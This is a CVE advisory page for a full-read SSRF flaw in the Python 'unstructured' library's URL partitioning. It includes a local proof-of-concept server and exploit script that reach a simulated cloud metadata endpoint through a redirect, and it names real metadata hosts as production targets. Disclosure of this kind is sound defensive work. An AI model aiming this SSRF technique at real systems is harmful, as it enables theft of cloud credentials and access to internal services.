Loading...
Skip to main content

CVE-2026-71428 — Vulnerability in unstructured — CVE Details

CRITICAL

unstructured: Server-Side Request Forgery in the URL-based partitioning

Published September 3, 2026Updated September 10, 2026Source: osv

Summary

### Summary Server-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. `unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller. ### Details Three sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`): - `unstructured/partition/auto.py:303` — `file_and_type_from_url()`, reached via `partition(url=…)`. - `unstructured/partition/html/partition.py:160` — `partition_html(url=…)`. Post-fetch `Content-Type` check runs after the request hits the target. - `unstructured/partition/md.py:96` — `partition_md(url=…)`. No timeout (SSRF + slow-loris DoS). None of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) — ~219 releases, no validation ever introduced. ### PoC Local-only. `pip install unstructured==0.22.26 flask requests`. `internal_server.py`: ```python from flask import Flask, Response, jsonify app = Flask(__name__) @app.route("/imds") def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"}) @app.route("/internal.html") def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html") @app.route("/redir") def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"}) if __name__ == "__main__": app.run(host="127.0.0.1", port=9999) ``` `exploit.py` — uses the public top-level API: ```python # Stub NLP helpers so the offline sandbox skips spaCy model download. # Does NOT affect the SSRF (which lives in the URL fetcher, before NLP). import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt _tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s] _tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split() _tk.pos_tag = _tt.pos_tag = lambda t: [(w, "NN") for w in (t or "").split()] from unstructured.partition.auto import partition L = "http://127.0.0.1:9999" # A: partition(url=...) leaks internal HTML body assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"])) # B: redirect bypass reaches simulated IMDS assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"])) print("PoC OK") ``` In production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address. ### Impact Attacker capabilities: - **Internal HTTP service read** — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening. - **Cloud instance metadata access** — reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping. - **Side-effecting GET endpoints** — magic-link consumers, job triggers, link-preview generators reachable on internal networks. - **Internal network reconnaissance** — connection success/failure timing and error messages serve as a port and service scanner.

Advisory Timeline

  • First published September 3, 2026 (39 days ago).
  • Last revised September 10, 2026 — 7 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update unstructured to 0.24.0 or later
pip install "unstructured>=0.24.0"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
unstructured
pypi
0.10.0, 0.10.1, 0.10.10, 0.10.11 (+202 more)0.24.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-601
    Open RedirectMITRE
  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Frequently Asked Questions

What is CVE-2026-71428?
unstructured: Server-Side Request Forgery in the URL-based partitioning This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-71428?
CVE-2026-71428 affects unstructured. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-71428 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-4mvj-m6j5-pmf7
PYSEC-2026-3930

Related CVEs

  • CVE-2025-64712
    CRITICAL

    Unstructured has Path Traversal via Malicious MSG Attachment that Allows Arbitrary File Write

  • CVE-2026-61447
    CRITICAL

    PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

  • CVE-2026-61445
    CRITICAL

    PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

  • CVE-2025-64712
    CRITICAL

    Unstructured has Path Traversal via Malicious MSG Attachment that Allows Arbitrary File Write

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies